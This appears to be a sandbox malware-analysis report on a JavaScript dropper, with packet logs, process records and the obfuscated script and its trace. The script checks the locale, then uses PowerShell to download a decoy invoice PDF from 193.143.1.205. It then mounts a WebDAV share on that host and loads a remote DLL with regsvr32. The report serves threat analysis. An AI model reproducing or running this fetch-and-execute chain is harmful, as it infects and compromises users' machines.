Jan 11, 2025 09:21:50.886847973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886892080 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.886899948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886961937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887007952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.887026072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887073994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887119055 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.887120008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887185097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887228012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.887233973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887279987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887329102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.887346029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887392998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887434006 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.887439966 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887487888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.887531042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.146589994 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.223120928 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.418571949 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.903162956 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.908143044 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:51.908329010 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.908412933 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:51.913341999 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:52.729298115 CET	8888	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:52.780456066 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:53.562690973 CET	49738	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 09:23:05.708798885 CET	61605	53	192.168.2.10	1.1.1.1
Jan 11, 2025 09:23:05.713654041 CET	53	61605	1.1.1.1	192.168.2.10
Jan 11, 2025 09:23:05.713738918 CET	61605	53	192.168.2.10	1.1.1.1
Jan 11, 2025 09:23:05.713778019 CET	61605	53	192.168.2.10	1.1.1.1
Jan 11, 2025 09:23:05.718604088 CET	53	61605	1.1.1.1	192.168.2.10
Jan 11, 2025 09:23:06.187618017 CET	53	61605	1.1.1.1	192.168.2.10
Jan 11, 2025 09:23:06.196702957 CET	61605	53	192.168.2.10	1.1.1.1
Jan 11, 2025 09:23:06.201684952 CET	53	61605	1.1.1.1	192.168.2.10
Jan 11, 2025 09:23:06.201730013 CET	61605	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:21:59.498764038 CET	60602	53	192.168.2.10	1.1.1.1
Jan 11, 2025 09:23:05.708327055 CET	53	49337	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:21:59.498764038 CET	192.168.2.10	1.1.1.1	0x3ef1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:21:59.506355047 CET	1.1.1.1	192.168.2.10	0x3ef1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49722	193.143.1.205	80	7760	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:21:49.323231936 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:21:50.128613949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:21:50.128693104 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:21:50.128740072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 09:21:50.128807068 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 09:21:50.128854990 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 09:21:50.128917933 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 09:21:50.128966093 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 09:21:50.129013062 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 09:21:50.129060030 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 09:21:50.129106998 CET	224	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|
Jan 11, 2025 09:21:50.134004116 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49738	193.143.1.205	8888	5888	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:21:51.908412933 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:21:52.729298115 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:21:45
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js"
Imagebase:	0x7ff731640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:21:46
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll
Imagebase:	0x7ff6fbeb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:21:46
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:21:46
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:21:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:21:51
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fbeb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:21:51
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78d550000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:21:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:21:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:21:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1692,i,16768709405715443152,9912022555520268978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wqrsn() {	wqrsn() ➔ undefined
1	zkvbwq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uayzm = this[awgozhi + wkspmfwk + jtekhqyhr + wlkieiqu + nigjs + kumbdzgc + vimyd + nfbdclkuz] ( this[rphqiv + ahtdubabf + logifk + jtekhqyhr + bklcjemlm + awgozhi + nfbdclkuz][gqssikte + jtekhqyhr + nigjs + wkspmfwk + nfbdclkuz + nigjs + jyybvcv + uxjhu + abyogk + nigjs + logifk + nfbdclkuz] ( rphqiv + ahtdubabf + logifk + jtekhqyhr + bklcjemlm + awgozhi + nfbdclkuz + okdxcdi + ahtdubabf + rdcxn + nigjs + biqvgfm + biqvgfm ) [zzxrf + nigjs + yksljvhw + zzxrf + nigjs + wkspmfwk + fjklcxli] ( nqkjhmx + xisfojwyl + osxwypo + nztdugm + ukwvyqv + gqssikte + jpvokrze + zzxrf + zzxrf + osxwypo + stxjfio + fwjis + ukwvyqv + jpvokrze + ahtdubabf + osxwypo + zzxrf + gzxskfh + gqssikte + ihmkggl + vimyd + nfbdclkuz + jtekhqyhr + ihmkggl + biqvgfm + ykhfuotty + byabtoo + wkspmfwk + vimyd + nigjs + biqvgfm + gzxskfh + kumbdzgc + vimyd + nfbdclkuz + nigjs + jtekhqyhr + vimyd + wkspmfwk + nfbdclkuz + bklcjemlm + ihmkggl + vimyd + wkspmfwk + biqvgfm + gzxskfh + ekslugfr + ihmkggl + logifk + wkspmfwk + biqvgfm + nigjs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bhlyixkjv = 0 ; bhlyixkjv < zkvbwq[biqvgfm + nigjs + vimyd + yksljvhw + nfbdclkuz + rdcxn] ; ++ bhlyixkjv )
4	{
5	if ( uayzm == zkvbwq[bhlyixkjv] )
6	{
7	uayzm = true;
8	break ;
9	}
10	}
11	if ( uayzm !== true )
12	this[rphqiv + ahtdubabf + logifk + jtekhqyhr + bklcjemlm + awgozhi + nfbdclkuz][ttmrufl + rhdoeyc + bklcjemlm + nfbdclkuz] ( );
13	this[rphqiv + ahtdubabf + logifk + jtekhqyhr + bklcjemlm + awgozhi + nfbdclkuz][gqssikte + jtekhqyhr + nigjs + wkspmfwk + nfbdclkuz + nigjs + jyybvcv + uxjhu + abyogk + nigjs + logifk + nfbdclkuz] ( rphqiv + ahtdubabf + logifk + jtekhqyhr + bklcjemlm + awgozhi + nfbdclkuz + okdxcdi + ahtdubabf + rdcxn + nigjs + biqvgfm + biqvgfm ) [jtekhqyhr + rhdoeyc + vimyd] ( logifk + geldejcd + fjklcxli + ykhfuotty + vermxljec + logifk + ykhfuotty + awgozhi + ihmkggl + chphwxp + nigjs + jtekhqyhr + wlkieiqu + rdcxn + nigjs + biqvgfm + biqvgfm + okdxcdi + nigjs + ylpgr + nigjs + ykhfuotty + kxrvcysyz + gqssikte + ihmkggl + geldejcd + geldejcd + wkspmfwk + vimyd + fjklcxli + ykhfuotty + miqorlo + kumbdzgc + vimyd + blkieby + ihmkggl + yfrnivno + nigjs + kxrvcysyz + rphqiv + nigjs + uxjhu + zzxrf + nigjs + fsmijgw + rhdoeyc + nigjs + wlkieiqu + nfbdclkuz + ykhfuotty + kxrvcysyz + jyybvcv + rhdoeyc + nfbdclkuz + zidozdjpm + bklcjemlm + biqvgfm + nigjs + ykhfuotty + qdytww + nfbdclkuz + nigjs + geldejcd + awgozhi + qdytww + gzxskfh + bklcjemlm + vimyd + blkieby + ihmkggl + bklcjemlm + logifk + nigjs + okdxcdi + awgozhi + fjklcxli + xsoiqcy + ykhfuotty + rdcxn + nfbdclkuz + nfbdclkuz + awgozhi + yjbmos + vermxljec + vermxljec + qyjzjpw + zruhzfc + morpz + okdxcdi + qyjzjpw + jxzjf + morpz + okdxcdi + qyjzjpw + okdxcdi + gxdhmf + cajrixdlo + hpgitotkr + vermxljec + bklcjemlm + vimyd + blkieby + ihmkggl + bklcjemlm + logifk + nigjs + okdxcdi + awgozhi + rdcxn + awgozhi + miqorlo + dehgu + dehgu + wlkieiqu + nfbdclkuz + wkspmfwk + jtekhqyhr + nfbdclkuz + ykhfuotty + qdytww + nfbdclkuz + nigjs + geldejcd + awgozhi + qdytww + gzxskfh + bklcjemlm + vimyd + blkieby + ihmkggl + bklcjemlm + logifk + nigjs + okdxcdi + awgozhi + fjklcxli + xsoiqcy + dehgu + dehgu + logifk + geldejcd + fjklcxli + ykhfuotty + vermxljec + logifk + ykhfuotty + vimyd + nigjs + nfbdclkuz + ykhfuotty + rhdoeyc + wlkieiqu + nigjs + ykhfuotty + gzxskfh + gzxskfh + qyjzjpw + zruhzfc + morpz + okdxcdi + qyjzjpw + jxzjf + morpz + okdxcdi + qyjzjpw + okdxcdi + gxdhmf + cajrixdlo + hpgitotkr + jidvqrjms + oilfbg + oilfbg + oilfbg + oilfbg + gzxskfh + fjklcxli + wkspmfwk + blkieby + chphwxp + chphwxp + chphwxp + jtekhqyhr + ihmkggl + ihmkggl + nfbdclkuz + gzxskfh + dehgu + dehgu + logifk + geldejcd + fjklcxli + ykhfuotty + vermxljec + logifk + ykhfuotty + jtekhqyhr + nigjs + yksljvhw + wlkieiqu + blkieby + jtekhqyhr + morpz + gxdhmf + ykhfuotty + vermxljec + wlkieiqu + ykhfuotty + gzxskfh + gzxskfh + qyjzjpw + zruhzfc + morpz + okdxcdi + qyjzjpw + jxzjf + morpz + okdxcdi + qyjzjpw + okdxcdi + gxdhmf + cajrixdlo + hpgitotkr + jidvqrjms + oilfbg + oilfbg + oilfbg + oilfbg + gzxskfh + fjklcxli + wkspmfwk + blkieby + chphwxp + chphwxp + chphwxp + jtekhqyhr + ihmkggl + ihmkggl + nfbdclkuz + gzxskfh + qyjzjpw + ryyokjdi + gxdhmf + cajrixdlo + hpgitotkr + gxdhmf + zruhzfc + ryyokjdi + cajrixdlo + hpgitotkr + hpgitotkr + ryyokjdi + morpz + morpz + okdxcdi + fjklcxli + biqvgfm + biqvgfm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll",0,false) ➔ 0
14	}
15	biqvgfm = "A";
16	biqvgfm = "z";
17	biqvgfm = "a";
18	biqvgfm = "F";
19	biqvgfm = "r";
20	biqvgfm = "i";
21	biqvgfm = "P";
22	biqvgfm = "u";
23	biqvgfm = "x";
24	biqvgfm = "B";
25	biqvgfm = "q";
26	biqvgfm = "g";
27	biqvgfm = "a";
28	biqvgfm = "T";
29	biqvgfm = "P";
30	biqvgfm = "F";
31	biqvgfm = "u";
32	biqvgfm = "O";
33	biqvgfm = "F";
34	biqvgfm = "l";
35	vermxljec = "V";
36	vermxljec = "X";
37	vermxljec = "T";
38	vermxljec = "u";
39	vermxljec = "o";
40	vermxljec = "j";
41	vermxljec = "z";
42	vermxljec = "C";
43	vermxljec = "A";
44	vermxljec = "l";
45	vermxljec = "C";
46	vermxljec = "f";
47	vermxljec = "R";
48	vermxljec = "U";
49	vermxljec = "y";
50	vermxljec = "K";
51	vermxljec = "B";
52	vermxljec = "o";
53	vermxljec = "H";
54	vermxljec = "y";
55	vermxljec = "q";
56	vermxljec = "A";
57	vermxljec = "S";
58	vermxljec = "s";
59	vermxljec = "k";
60	vermxljec = "r";
61	vermxljec = "p";
62	vermxljec = "S";
63	vermxljec = "e";
64	vermxljec = "m";
65	vermxljec = "r";
66	vermxljec = "M";
67	vermxljec = "F";
68	vermxljec = "M";
69	vermxljec = "X";
70	vermxljec = "W";
71	vermxljec = "A";
72	vermxljec = "l";
73	vermxljec = "A";
74	vermxljec = "H";
75	vermxljec = "O";
76	vermxljec = "/";
77	uxjhu = "M";
78	uxjhu = "W";
79	uxjhu = "z";
80	uxjhu = "Q";
81	uxjhu = "P";
82	uxjhu = "q";
83	uxjhu = "G";
84	uxjhu = "b";
85	uxjhu = "A";
86	uxjhu = "k";
87	uxjhu = "I";
88	uxjhu = "z";
89	uxjhu = "n";
90	uxjhu = "R";
91	uxjhu = "w";
92	uxjhu = "i";
93	uxjhu = "I";
94	uxjhu = "L";
95	uxjhu = "K";
96	uxjhu = "y";
97	uxjhu = "n";
98	uxjhu = "r";
99	uxjhu = "U";
100	uxjhu = "N";
101	uxjhu = "M";
102	uxjhu = "L";
103	uxjhu = "h";
104	uxjhu = "T";
105	uxjhu = "E";
106	uxjhu = "q";
107	uxjhu = "X";
108	uxjhu = "c";
109	uxjhu = "T";
110	uxjhu = "H";
111	uxjhu = "G";
112	uxjhu = "S";
113	uxjhu = "J";
114	uxjhu = "M";
115	uxjhu = "l";
116	uxjhu = "J";
117	uxjhu = "k";
118	uxjhu = "Z";
119	uxjhu = "K";
120	uxjhu = "V";
